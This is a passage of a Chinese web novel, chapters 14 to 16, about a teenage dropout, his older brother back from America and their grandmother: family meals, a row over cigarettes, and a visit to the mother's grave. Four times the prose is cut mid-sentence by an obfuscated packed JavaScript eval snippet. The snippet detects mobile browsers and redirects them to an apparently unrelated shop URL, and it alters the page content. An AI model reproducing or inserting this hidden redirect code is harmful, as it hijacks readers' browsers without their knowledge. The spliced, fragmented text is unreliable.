林嘉琛知道老板娘有一个适龄的女儿,毕业后找不到工作,眼下正赋闲在家,老板娘便四处给女儿说亲。 可他一点也不想这么快给自己找个嫂子,他便很大声、很骄傲地道:“我哥现在在美国工作,一年能挣好多钱呢!我也不知道他有没有女朋友,不过他过阵子还要回去的……” 声音之大,店里全都听到了。 熙熙攘攘的谈话声瞬间熄灭,大家纷纷瞥了陆既明一眼。 林嘉琛没发现,自顾自扫码付了款。 “支付宝到账39元!” 老板娘道:“好,过来了。你哥这么厉害啊,那确实不合适了……”说着,给了他两个号码牌。 林嘉琛拿着号码牌,一回身,便见他哥对面坐了两个小姐姐。 他走过去,其中一位妆容精致的小姐姐便抬头看他,问道:“拼个座不介意吧,弟弟?” 正值饭点,店内人头攒动,确实没有多余的位置了。 林嘉琛“哦”了声,走过去和哥哥挨着坐。 两个小姐姐像是来旅游的,低着头一块儿看攻略,探讨明天的行程,甚至没抬头多看他们一眼,一脸“放心吧弟弟,我对你哥真没那个意思,跟你——可能又有点撞号了”的神情。 陆既明很无奈地笑了一下,揉揉林嘉琛后脑勺。 林嘉琛没明白什么意思,问道:“干嘛?” 陆既明发现自己的确没跟他交代过自己的个人生活,于是道:“我没女朋友。” 林嘉琛很淡定地“哦”了声。 ……只是又有点高兴是怎么回事? 吃完走出小店时,天色已暗下来了些许,天边一抹夕阳颜色也越来越深,夜市也愈发熙熙攘攘。 陆既明看了一眼街对面的香蕉网咖,问道:“你朋友不会还在里面打游戏吧?” 林嘉琛道:“还真有可能。” 陆既明道:“要不要买点东西给他送过去?” 林嘉琛道:“我问问他。”说着,给周然发了个微信,说自己到夜市了,要不要给他带点吃的? 周然:【疯狂点头.jpg】 周然:【但我现在还在家呢,包夜时间还没到,现在过去还要按小时收费。】 林嘉琛:【那我给你放前台。】 周然:【疯狂点头.jpg】 林嘉琛放下手机道:“周然一会儿过来,我给他放前台。”说着,走到一个小摊前,点了一份超级无敌至尊豪华版加里脊、加蟹□□、加骨肉相连、加肠、加蛋、加火鸡面版烤冷面,他自己平时都舍不得点的! 想了想,又多点了一份。 而正要扫码付款,陆既明在一旁先付了,问道:“你们平常在这儿上网都吃什么?” 林嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521153|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琛道:“就麻辣烫啊、烤冷面、烤鱿鱼什么的,再加一杯喜茶而不是蜜雪,那就算超级豪华了。”说着,又到隔壁摊子点了烤鱿鱼和烤肠,也都是双份。 陆既明跟过来付钱,问道:“周然是你最好的朋友吗?” 林嘉琛“嗯”了声,说道:“他中考没考上,两年前就不读了,偶尔打打工,赚点零花钱什么的。我妈住院那一年,他刚好一整年都没上班,我妈在医院有什么事,他几乎都是随叫随到的,是给我妈推过病床、扶过棺的人……” 属于“仗义多为屠狗辈”,素质不祥,但心地善良。 陆既明在一旁沉默片刻,说道:“那改天请他吃个饭,好好感谢他一下。” 林嘉琛应了声:“好。” 东西做好,林嘉琛让哥哥稍等他一下,便跑到网咖去送。 进门时,网管妹妹正坐在前台吃泡面,看到林嘉琛吓了一跳。 林嘉琛把东西递过去,说一份给她,谢谢她这阵子帮他留位置,一份等周然来了给周然。 网管妹妹有些受宠若惊,连忙把泡面咬断,怔怔把东西接了过来。 昨天这粉毛小帅哥被一辆劳斯莱斯接走的事,她看的可是现场直播,这发达了就是不一样,连烤冷面都是至尊豪华版! 网咖内还有不少人都听说了昨天的事,导致眼下所有人都在看他,林嘉琛又说了声“谢谢”便走了出来。 出门时,陆既明正在门口等他。 两人又在附近逛了逛,吹了吹夜风,等天一黑,便买了点水果打车回去。 而在路上,手机里又“叮—”地弹出一条信息。 周然:【[图片]】 周然:【泪流满面.jpg】 周然:【这也太丰盛了吧?[苦涩][苦涩] 】 周然:【丰盛得跟断头饭一样,我一边狂吃一边狂飙眼泪[苦涩][苦涩] 为什么会有一种格外悲伤的感觉?该不会是你哥要带你远走高飞,你请我吃的告别饭吧?[苦涩][苦涩]】 林嘉琛笑道:【想什么呢。】 林嘉琛:【我才不会远走高飞,去打工倒是极有可能。要是舍不得我,跟我一起走啊?】 不过等过阵子,他哥的确是要“远走高飞”的。 一想到这个,心里又有种说不出的伤感。 梦很美好,但总有醒的那一日,难道会比妈妈离世更痛吗?哥去创业,他去打工,他们都有光明的未来。 林嘉琛坐在后座,降下车窗,望着窗外一晃而过的树木与高楼,沉默了一路。 14. 第 14 章 这一夜,他毫不意外地失眠了,大概也是白天睡多了的缘故,而一失眠便又开始翻来覆去地想东想西。 隔日一早,他和陆既明去餐厅吃饭,吃到一半,陆既明便催他给姥姥打电话。 林嘉琛打了,等电话接通,叫了声:“姥姥。” 姥姥在那一头很热情地道:“哎,宝宝!” “我今天过去一趟。” “哎,那过来吧,姥姥给你包饺子!准备坐几点车,东西多不多?用不用姥姥去客运站接你?” “不用了,我自己打个三轮车就到了。” “行,那快过来吧,姥姥在家包饺子等你,想吃什么馅儿的?” 陆既明在对面给他使眼色,叫他跟姥姥说不要包饺子了,姥姥岁数大了,包饺子太麻烦,出去吃就好,再跟姥姥说一下他来了的事。 但林嘉琛想吃姥姥包的饺子,于是无视了陆既明的眼色,说道:“香菇猪肉的吧。”说着,又聊了两句便挂了,而后对哥哥道,“给姥姥一个惊喜。” 陆既明跟长辈相处是很一板一眼的那种,总是紧张许多事,觉得这“惊喜”不大妥当。 但电话已经挂了,便也没多说什么。 现在开车过去,今晚肯定是要在鹿城住一晚的了,两人便回房间简单收拾了点行李。 下楼时,车已等在酒店门口。 林嘉琛由于有东西要拿,便又回了趟自己家,让哥哥在车等,自己上了一趟楼,拿完便向鹿城出发! 一个多小时后,车子下了高速驶入鹿城市区。 陆既明扭头看了他一眼,说道:“戴个帽子吧,一会儿再吓到姥姥了。” 林嘉琛道:“……我上周刚回了趟姥姥家,姥姥早就看到过了好吧,还夸我时髦呢!”说着,一脸“你怎么比姥姥还封建?”的表情。 陆既明道:“你还真一周回去看一次姥姥啊?还挺乖。”顿了顿,又道,“哦,你还得回去拿零用钱是吧?” 林嘉琛眼睛半睁,语塞片刻,说道:“不是因为这个,姥姥早就会用微信了好不好!” 半小时后,车子驶入姥姥家小区。 林嘉琛下车活动了一下筋骨,还在想要不要带哥哥去门口超市提一箱牛奶什么的,结果后备箱一开,便见里面满是大包小包的礼品,一个个包装精美,都不知道哥哥是什么时候准备的! 由于司机不上楼,陆既明一个人拿不下,他还挑了两个轻巧的袋子给林嘉琛提着,说道:“你拎着这个。” 林嘉琛“哦”了一声接过来,走到单元门前按门铃。 这小区已经有些年头了,铁门上的油漆已掉得锈迹斑斑。 姥姥知道是他来了,也没接对讲,直接解了锁,楼道门便“咔嚓—”一声弹开了。 两人一同上了楼,刚爬到三楼与四楼之间的平台,便见姥姥站在门前把着门,说道:“宝宝来啦,怎么这么快就到了?” 林嘉琛的姥姥是一位相当健朗的老人——甚至都谈不上老人,而正介于老人与中年人之间。 现代人生活条件好了,六十多岁也不会显出老态。 林嘉琛往边上让了让,说道:“姥姥,你看是谁来了。” 姥姥看了片刻,看着陆既明的模样,心中隐约有了猜测,但又实在不敢认。 直到陆既明叫了声“姥姥”,姥姥这才一拍掌道:“我的妈呀,这不是明明吗?真的是明明啊!我的妈呀!”说着,连忙走下来,要接陆既明手上的东西,道,“这是怎么找过来的?姥姥真是做梦都没想到啊!都没想到姥姥这辈子还能再见到你啊!”说着,又流下几滴泪。 陆既明不让姥姥拎,自顾自拎上去。 姥姥便又往林嘉琛背上拍了一巴掌,说道:“哥哥来了也不跟姥姥说一声,姥姥什么都没准备!” 林嘉琛“略”地吐吐舌。 姥姥家两室一厅,老房子层高低,陆既明快一米九的身高,走进去像是快要顶到天花板。 只见不大的厨房内摆满了锅碗瓢盆,姥姥一边走进去一边道:“馅儿和面都已经和好了,就差包了!姥姥包得快,五秒钟一个,一会儿就开饭!”说着,又招呼道,“明明啊,你快坐。宝琛,你给你哥倒点水。” 陆既明在沙发坐下,茶几上放了些水果。 林嘉琛给他哥倒水,想着“明明”这称呼真是好多年都没听到过了,没大没小地跟着喊了一声:“明明。” 陆既明老神在在道:“嗯,怎么了,宝琛?” 林嘉琛语塞片刻,把水杯递过去道:“哥哥喝水。” 结果陆既明很记仇,说道:“好的,宝琛。” “…………” 怎么还追着杀啊!!! 林嘉琛在哥哥旁边坐了一会儿,便去洗手间洗了手,走进厨房道:“姥姥,我帮你按面剂子吧。” 这可是他的拿手绝活。 姥姥刚好在切面剂子,没说就那几个面剂子,她一会儿擀皮的时候顺手就给它按了,一秒钟两个,而是说:“行,那你按吧,真是帮了姥姥大忙了,比养只小猫小狗强。” 林嘉琛按得很卖力。 陆既明坐了一会儿,也洗了手走进来,说道:“姥姥,一块儿包吧。” 林嘉琛按面剂子、妈妈擀皮、他和姥姥包——小时候家里包饺子一直都是这分工。 结果他一进厨房,姥姥便把他和林嘉琛都一块儿轰了出来,说道:“行了行了,都去坐着吧,姥姥一会儿就包完了,半小时就出锅。你们一进来,这厨房里都转不开身。”又道,“宝琛!你从姥姥那风衣口袋拿二百块钱,去门口饭馆打包几个菜,问问你哥想吃什么。” 林嘉琛“哦”了声,走到挂衣架前找钱。 如果只有他和姥姥,那吃饺子就够了,但哥哥来了肯定是要加几个菜的。 而正掏着,陆既明走了过来,又给他使眼色,说道:“别拿了,一块儿下去,我来付。” 只是看哥哥脸色,哥哥更想说的应该是——我都给你转了一万了,还给你开了额度上百万的副卡,你怎么还是不懂事,还要拿姥姥那两百块钱? 但林嘉琛觉得,既然来了姥姥家,姥姥要请客那就不能跟姥姥抢,于是还是拿了钱。 两人一块儿下了楼,找到姥姥钦点的饭馆,陆既明点了两个菜,林嘉琛点了两个菜,加起来刚好两百块,林嘉琛用现金付了款。 等待时,陆既明又问道:“我记得姥姥是下岗工人,有工龄的,现在应该有退休金了吧?” 林嘉琛坐在座位上道:“有,一个月两千二。” 陆既明道:“两千二,那岂不是都不够你一个人花的了?” 林嘉琛道:“是这样的。” 妈妈病重那一年把家里积蓄都掏空了,眼下他和姥姥就剩下平州、鹿城各一套房,少量存款,以及姥姥每个月的退休金。 其实这情况已经不算差了,至少他们家还有房子,医院里还有许多想卖房治病也无房可卖的可怜人,所以他还是感恩的…… 又等了一会儿,六道菜做好,两人便拎着一起上了楼。 晚上吃完饭,姥姥开始拆哥哥送来的礼物,有补品、羊绒披肩、羽绒服、冲锋衣还有一个金镯子,方方面面考虑得十分周到。 姥姥也不知道这些礼物有多贵,只知道那大金镯子很值钱,实在不敢收,说道:“明明啊,你怎么还带这么贵重的东西呢?现在金价这么贵,这一个镯子要多少钱?” 陆既明只说没多贵,而后帮姥姥戴上了。 姥姥又道:“你现在在哪儿上班,工资够花吗?” 陆既明便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521154|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我大学毕业后去了美国留学,后来就留在美国工作了,现在能赚不少。这一点心意真的没什么的,姥姥可一定要收下。” 姥姥惊讶道:“你现在在美国?也是,你考上A大的事,我们也听说了。你爸那个人……我也懒得说他,但他能供你到美国读书,倒也算做了件好事!” 陆既明没说他能去留学,是因为他爸死了,他继承了遗产。 事实上,他大一时他爸连生活费都常常忘记给,也不知流连在什么烟花柳巷,电话也总是打不通。 直到他爸病倒了,才显出那么一丝父子的“温情”,自己住院无聊,便不分时间地给他打电话,看他态度一般,便又发红包讨好他。 后来骚扰女护工,闹得女护工离了职,他好不容易给他爸找了一个靠谱的男护工,他爸又非闹着要女护工的这些烂事,他都懒得提。 要是他爸还活着,那他估计本科一毕业就找个大厂996去了,顶多在本校升个硕士。 当然,即便如此,现在应该也还是不错的。 这时姥姥进了卧室,出来时,手里拿着一卷红彤彤的票子,说道:“明明啊,好几年不见,姥姥真不知道你要来,真的什么都没准备,也没什么好给你的,我给你点钱吧。”说着,塞给陆既明。 林嘉琛一看——嚯,还真不少呢。 虽然对哥哥来说没什么,但姥姥肯定是下血本了,于是在一旁看热闹。 哥哥果真一板一眼地拒绝,说道:“不用了姥姥,我现在都工作了,真的不用了。” 姥姥便道:“你小时候,姥姥也没能给你多少零用钱。那会儿我跟你妈都没钱,你跟着我们,也没过上一天好日子。你今天来看姥姥,姥姥真的特别高兴,带这么多贵重礼物,姥姥也特别不好意思。现在姥姥手头也宽裕了,姥姥还有养老金呢,给你点零花钱,你快拿着。” 可能爱真的是常觉亏欠。 姥姥今天看到他,想到的是他上学时没能给他多少零用钱。 可他看到姥姥,想到的却是姥姥每日穿着保洁服,那辛劳了一天下班回来的憔悴模样。 他高三那年,姥姥和妈妈吃完晚饭,总是会偷偷聊一聊的钱的事;账本记得密密麻麻,东省西省,准备攒钱供他上大学。说他成绩这么好,肯定不能耽误了。 再看到姥姥,便又忍不住眼眶泛酸。 陆既明实在不好意思收,便再度推脱。 这时林嘉琛说道:“姥姥,我哥不要,那你给我。” 陆既明便在推脱之余又瞪了他一眼,说道:“姥姥,你以后别给林嘉琛零花钱,以后我来管他。”说着,实在却之不恭,还是收下了。 他又坐了一会儿,便去上洗手间。 结果进门时,余光瞥见姥姥又进了趟卧室,心道不妙,也不知姥姥在卧室藏了多少钱? 林嘉琛坐在沙发上打手游,没一会儿,姥姥便拿着五百块出来了,坐在林嘉琛旁边道:“你现在不住校,没有学校食堂,一周四百块够不够吃饭啊?姥姥这周再多给你一百吧。” 林嘉琛原本没想要的,毕竟他眼下也是个万元户了。 虽然之后“南下打工”肯定也要买车票,一开始也要买点生活用品什么的,但一万块肯定够了。 但刚刚他哥瞪他,那这钱他就非要不可了。 于是他拉开外套口袋的拉链,用手张着口袋道:“姥姥,你给我二百就行,你悄悄的。” 姥姥看了一眼卫生间门,小声道:“好,悄悄的。”说着,给他塞进去。 只是林嘉琛刚拉上拉链,陆既明便像鬼一样走了出来,说道:“林嘉琛,你干嘛呢?” 他根本没上厕所! 他一直在里面偷听!!! 这是什么老封建的大家长啊啊啊啊!!! 15. 第 15 章 姥姥很尴尬地冲陆既明笑笑,说道:“明明啊,你怎么……你怎么就出来了呢?呵呵,呵呵呵呵呵。” 陆既明走了过来。 林嘉琛莫名虎躯一震,自小被压制的记忆太过深入骨髓,以致于陆既明把他按在沙发上掏他口袋时,他都没怎么敢反抗,只道:“哥,你干嘛?不就两百块钱吗,你至于吗?” 陆既明只觉得姥姥太惯着林嘉琛了,自己每月两千二的养老金,给林嘉琛花一千六。 林嘉琛也不懂事,明明已经有钱了,还非要拿姥姥这两百块钱。 林嘉琛这麻杆瘦的小身板根本不是陆既明的对手,整个人都凌乱了,一副任自己自生自灭的模样。 结果陆既明这一掏,除了五百块人民币,竟还掏出一包烟和一把打火机来? “……” 气氛一下子凝固下来,林嘉琛大跌眼镜,知道接下来就不是好玩的了。 陆既明也愣了片刻,把那烟和打火机递到林嘉琛面前,问道:“这是什么?” 林嘉琛道:“我……我兜里怎么会有烟呢?”说着,尴尬地笑笑,“呵呵,呵呵呵。” 陆既明把烟和打火机摔沙发上,很轻便的东西,却被他摔出“砰”的闷响。他站在林嘉琛面前,巨大的阴影笼罩着林嘉琛,也笼罩着一旁的姥姥,两个人都不敢说话。 陆既明气得两手叉腰,简直要气笑了,说道:“你兜里有烟你自己不知道?你刚刚要回家一趟就是回家拿烟去了吧?还跟我说烟瘾不重!这两天跟我住一块儿,都快把你憋死了吧!”说着,越说越来气,恨不能当场就要揍他。 只是林嘉琛真的不知道! 他有些委屈,说道:“我真没有!我真的是回去拿外套的,我都不知道这外套口袋里还有烟!” 陆既明道:“你再演?”说着,四处找东西,要不是目光所及都没一件趁手的“凶器”,今天非当着姥姥的面教训他一顿不可! 林嘉琛一看这架势,恨不能揭竿而起,一拍沙发道:“真的!真的是真的!这软包烟都抽得没剩几根了,一捏放在口袋里一点存在感都没有!我哪知道它会在口袋里!我从小到大哪回撒过谎了?你就这么不相信我!”说着,做出一番快要委屈哭了的架势。 那软包烟和打火机的确没什么存在感,陆既明听了便也半信半疑,但还是道:“你来的这一路,手就没往口袋里伸过?” 林嘉琛崩溃道:“我真没有!” 只是这话说出来,他自己都不信。 他又道:“真的是见鬼了吧!而且你就在旁边,我拿了烟,我又能上哪儿抽去?我自己偷偷下楼抽,那身上也会有烟味吧!” 陆既明冷静了片刻,他知道林嘉琛不是一个很会撒谎的人,于是道:“好,那勉强信你这一回,但仅此一次,下不为例。下回要是再让我发现,那我可真抽你了!” “哼!” 什么叫勉强相信?林嘉琛敢怒不敢言。 姥姥显然是知道林嘉琛抽烟的,出面打圆场道:“宝宝,你听你哥的话,这烟你得戒。” 主要他哥真要揍他,她也拦不住。明明小时候她就拦不住,现在都大了,快一米九了,她就更拦不住了。 陆既明便道:“你听到了没有?” 陆既明一向是很一板一眼的,林嘉琛做错事,光教训了还不行,一定要林嘉琛亲口承认错误才算完。 林嘉琛嘟囔道:“听到了!” 陆既明这才换回和缓神色,把烟扔进垃圾桶,只是打火机不好乱扔,一时不知该如何处理。 姥姥便道:“打火机你给我,姥姥那燃气灶坏了,点不上火,得拿打火机点一下。” 说到这个,陆既明便又想起姥姥厨房里那一堆打火机,恐怕都是林嘉琛落这儿的吧? 姥姥知道林嘉琛抽烟,还这么纵容他,一时只觉得姥姥也不值得信任,于是又叮嘱道:“姥姥,我要是看到这打火机再出现在林嘉琛身上,您在我这儿可就信用为零了。” 姥姥很“识时务”地道:“就这两块钱一把的防风打火机,每个小卖部卖的都一模一样。你要是真看到了,你该揍他揍他,但你可不能误会姥姥啊,姥姥肯定是不会给他的!” “……” *** 姥姥家两室一厅,晚上两人不可避免地要睡一个房间。 其实两人小时候是共用过一间房间的,大概就在老登带着哥哥刚来到他们家的时候。他们家两个卧室,妈妈和老登一个卧室,他和哥哥自然要共用另一个卧室。 后来老登人间蒸发,哥哥又上了高中,妈妈便让他搬了出来,让哥哥自己一间卧室了。 他那时还小,觉得跟妈妈一起睡还挺好的。 后来大概是在九岁、十岁时,他有了自己的隐私需求,得知同学们都有自己的房间,也很想要一间自己的房间,便跟妈妈闹过一回。 他当时想的是,反正都是租房子,为什么四口人非要挤在两室一厅里,租一个三居室不就好了?为什么非要省那一点钱? 只是当时哥哥高三,妈妈一直在愁哥哥上大学的学费、生活费,一直在攒钱,现在想想,那“一点点钱”还真是要省的。 妈妈想的是,等哥哥上了大学,就可以把哥哥的房间给他用,等哥哥放假回来,两人挤一下就好了,反正都是男孩子。 直到高三下学期,老登把哥哥抢走。 他当时哭着闹着不让哥哥走,哥哥便说,自己走了,他就可以有一间自己的房间,哥哥还会骗老登的钱给他买QQ星,但他还是哭着闹着不让哥哥走…… 眼下姥姥家的床宽度一米五,虽是双人床,但对两个大男人来说还是有点小。 林嘉琛心里还有怨气,躺在床上打手游,腿大喇喇敞着,一个人占着一整张床。 直到陆既明洗完回来,说道:“往里点。” 林嘉琛往里挪了挪。 陆既明在旁边躺下,只是躺得很不舒服。一来这床本就小,林嘉琛还一个人霸占了三分之二,加上长度又只有两米,他身高快一米九,脑袋要贴着床头,脚才不会露出来。 他也没说话,往林嘉琛那儿挤了挤,把林嘉琛挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521155|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了一些。 但林嘉琛也不肯退太多,后背硬挺挺地抵着陆既明。 陆既明没理他,见手机快没电了,便准备找充电器。 而是在用胳膊肘撑起身子时,林嘉琛在一旁吱哇乱叫了起来,说道:“哥,你压我头发了!” 他从没想过自己这辈子竟会对一个男人说出这句话! 当然,对女人说也不太对劲。 这一般不都是女生的台词吗? 陆既明老神在在道:“对不起。”说着,把手机充上了。 林嘉琛“哼”了声又往里挪了挪,不跟陆既明挨着了。 陆既明便转过身,撑着身子在上方看着他,见他嘴巴撅得像只小鸭子似的,于是道:“怎么了?你抽烟,我说你两句,你还有脸跟我置气?” “哼。” “林嘉琛,你说话。” “……” “林嘉琛。” 字越少,事越大。 迫于陆既明的淫威,林嘉琛这才开口,一开口便滔滔不绝,说自己真的只是抽着玩的,烟瘾真不重! 哥哥那天叫他戒烟,他就已经下定决心要戒烟了。 烟出现在口袋里真的是意外,陆既明误会他,他解释了还不相信他,还不分青红皂白地凶他! 好在是没有动手,否则他真的…… 他真的会生更大的气! 陆既明听完道:“好好好,对不起。” 他的道歉总是给人一种“向下兼容”的感觉,一点都不走心,林嘉琛一点也不接受,又“哼!”了声。 陆既明又道:“但你说到可要做到。反正我说到的,我肯定是会做到的。” 林嘉琛知道他哥说的“说到做到”,指的是他再抽烟就要抽他的事,于是又“哼”了声。 陆既明警告过了,这才晃晃他肩膀,说道:“好了,真不高兴了?我给你开副卡,你为什么不刷呢?” 林嘉琛道:“陆既明,你少用资本主义那一套来腐蚀我,我可不吃这一套。” 陆既明语塞片刻,笑了笑道:“你知道你现在像什么样子吗?像一只快要气炸了的河豚。……好好好,对不起。”说着,又晃晃他,语气中多了几分走心,“你我见面到现在也才第三天,中间有八年没见了,我怕你学坏,所以过分紧张了点。只是了解下来,发现你还是一个底色很好、很善良的好孩子,一点都没变,都是哥哥误会你了,是哥哥不好。” 林嘉琛顿了片刻,稍微解气一些了,说道:“这还差不多。” 陆既明关了灯,房间内一下子便黑了下来,伸手不见五指。 两人平躺在床上,陆既明想了想,又平心静气地规划道:“明天去看妈,再多住一晚,后天就回去吧。后天周一,姥姥还要去打牌。” 林嘉琛很想问一句,回去了,然后呢? 哥哥准备什么时候回去? 于是他叫了声:“哥。” “嗯?” 林嘉琛沉默片刻,说道:“没什么……” 陆既明道:“快睡吧。” 16. 第 16 章 隔日一早,天气有些灰蒙蒙的,乌云像吸满了水的灰毛巾,沉得像是要掉下来。 好在倒是没有下雨,一家人一块儿来到了墓园,陆既明给妈妈摆上鲜花和水果,而后很郑重地磕了三个头。 姥姥在一旁看着,又泣不成声。 林嘉琛扶住了姥姥,感受到姥姥瘦小的身体因抽泣而不停颤抖,好像自从葬礼结束,姥姥就再也没有哭得这么凶过了,于是拍拍姥姥后背,说道:“都过去了,我们向前看。” 姥姥便道:“我是心疼你啊!”说着,又是一阵抽噎,“不到三岁,你爹妈就离了婚。你妈也是瞎了眼,结果瞎了一次还不够,还要再瞎第二次、第三次!后来好不容易清醒了,自己开个店,日子总算好过一点,结果没等你成年,你妈就又撒手而去了!” “你眼下又辍了学,我都不知道你以后能干点什么好?一想到你,姥姥真是死都没办法安息了!” 林嘉琛一开始要辍学,她便偷偷哭了好几回。 她知道孩子痛苦,压力大,读下去也未必能考上大学,还能怎么办?最后也只能同意。 她平时刷抖音,看现在小孩子抑郁症很严重。林嘉琛妈妈刚离世,孩子心理受打击,她实在担心林嘉琛也变成那个样子,一直没敢跟林嘉琛表露过什么,只求孩子平平安安就好。 直到眼下他哥来了,她才敢说两句。 见姥姥在一旁抹眼泪,陆既明走上前来扶住了姥姥,顿了顿,像是下定了很大决心般说道:“姥姥您放心,我这次回来,一定把林嘉琛引上正途。” 姥姥握着他的手,嘱托道:“明明啊,你好好劝劝他吧,他从小最听你的了。这么小就辍了学,他以后可怎么办?” 陆既明看了一眼戴着卫衣帽子,垂着脑袋站在一旁的林嘉琛一眼,说道:“好,姥姥放心。” 晚上吃完饭,陆既明便问林嘉琛附近有没有能走一走、散散步的地方,林嘉琛便道:“那要不要去江边走走?” 陆既明说好。 林嘉琛本以为陆既明要跟他谈谈心,说说上学的事。 其实哥哥回来了,今日又听姥姥说了那番话,他自己也想了很多。 让他回去学习也不是不可以,只是需要很大勇气…… 但由于上回谈话,林嘉琛对上学表现出十分抗拒的情绪,陆既明昨晚又因为烟的事说了他,眼下也不知林嘉琛消气了没有。 再要跟他谈复学,陆既明也需要一定勇气,还需要再琢磨琢磨、酝酿酝酿。 清凉舒爽的夏日夜晚,晚风拂过江边的垂柳。 陆既明开口道:“其实我之前来过这儿。” 林嘉琛道:“之前回来过年那一回吗?我怎么不记得咱们来过江边?那会儿江都封冻了吧,都能从这儿滑到江对岸了。” 陆既明道:“不是那一回,其实我后来一个人来过鹿城。” 应该是大二那年吧,十一国庆放七天假。 北京离鹿城不算太近,但与南方小城安城相比已经算近了一大半。 他便攒了些生活费,一个人坐车来到鹿城,只是一出火车站便感到一片茫然。他根本不知道林嘉琛一家住在哪儿,也不知道林嘉琛在哪儿上学……于是在鹿城住了三晚,随便走了走、逛了逛,他便又一个人回了北京。 夜风习习吹过来,两人沿江往前走。 林嘉琛两手插兜,走路有些垂着头,问道:“那你这回回来,准备什么时候走?” 陆既明想了想道:“还没想好……”说着,揉揉他脑袋,“怎么,你是不是希望我早点回去,就没人能逼你去上学了?” 林嘉琛道:“当然不是。” 陆既明笑道:“你最好说的是实话。”顿了顿,又问,“那你考不考虑回去上学呢?” 林嘉琛道:“还没想好。” 有那么一点原话奉还的意思。 隔日上午,司机到楼下来接。 陆既明在卧室整理行李,由于只住两三天,两人便只带了一个行李箱,衣服都放在一起。合上箱子前,他又提醒道:“再检查一下有没有落下什么东西。” 林嘉琛早早收拾妥当,正坐在沙发上打游戏等他,说道:“没有了。” 反正是姥姥家,他几乎一周来一趟,这回落下了,下回再来拿就可以了。 陆既明便把箱子提到了门口。 姥姥要下楼送他们,只是姥姥家在四楼,下去一趟也不方便,陆既明便叫姥姥不用送了,又塞给姥姥一张银行卡,说道:“姥姥,这里面放了一点钱,密码是林嘉琛生日,姥姥您自己买点补品。我现在也工作了,这回回来就是专程来孝敬姥姥的。” 姥姥坚决不肯收,说道:“你看你,又是金镯子,又是钱的,叫姥姥怎么好意思?” “姥姥一定要收下。” “不能收,不能收。” 林嘉琛知道一时半会儿还没完,便继续打游戏。 约摸推脱了十多分钟,姥姥最终败下阵来,以为卡里是五千、一万之类的,很不好意思地收下了。 陆既明这才道:“林嘉琛,走了。” 三小时后,车子缓缓停在酒店门前,两人一块儿下了车。 酒店门外的喷泉源源不断地喷着水,吹过来的风中便也带着几分凉爽。 陆既明推着行李箱往前走,一回头,见林嘉琛正边走路边摆弄手机,开口提醒道:“嘉琛,走路不要看手机。” 林嘉琛“哦”了声,放下手机跟上了。 路过前台时,前台认出了两人,说他们的108个快递到了,问要不要送到房间?林嘉琛登时两眼放光,陆既明则淡定道:“好的,谢谢。” 二十分钟后,门铃“叮咚—”响起。 林嘉琛应了声:“来了!”便从沙发上弹了起来,一开门,便见礼宾员用推行礼的车把快递推了过了,一共推了两车。 陆既明听到动静,也走来围观,在一旁叹为观止。 他一直过着极简生活,还真没一口气买过这么多东西。 几人一块儿把快递搬进来,在客厅堆了一地。林嘉琛坐在脚蹬上拆拆拆,时不时跑进去试,很满足的模样。 陆既明坐在沙发上喝咖啡,便问道:“快乐吗?” 林嘉琛一边拆一边道:“那简直不要太快乐啊!哥,你购物不快乐吗?” 陆既明端着咖啡杯,慢条斯理地想了想,说道:“我购物不快乐,基本只买一些生活需要的东西。但我看你这么快乐,我现在也很快乐。” 林嘉琛弯腰系着鞋带,心想——那还不简单?往后哥哥赚钱、他花钱,两个人都快乐! 但由于太过不要脸,于是没能说出口。 巨大的物质满足让林嘉琛欢欣雀跃,且由于东西太多,又有好多是他很久之前加入购物车的,那日虽过了一遍,却还是不记得都有什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521156|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下便又有种拆盲盒般的惊喜感。 他连拆带试,一共忙活了大半个小时,只是拆快递、试衣服实在是一件体力活,拆完便留下一地狼藉累瘫在了沙发上,准备歇一会儿再收拾。 陆既明便问道:“要不要来杯咖啡?” 林嘉琛累到两眼放空,理所应当地享受哥哥的服务,说道:“来一杯吧!” 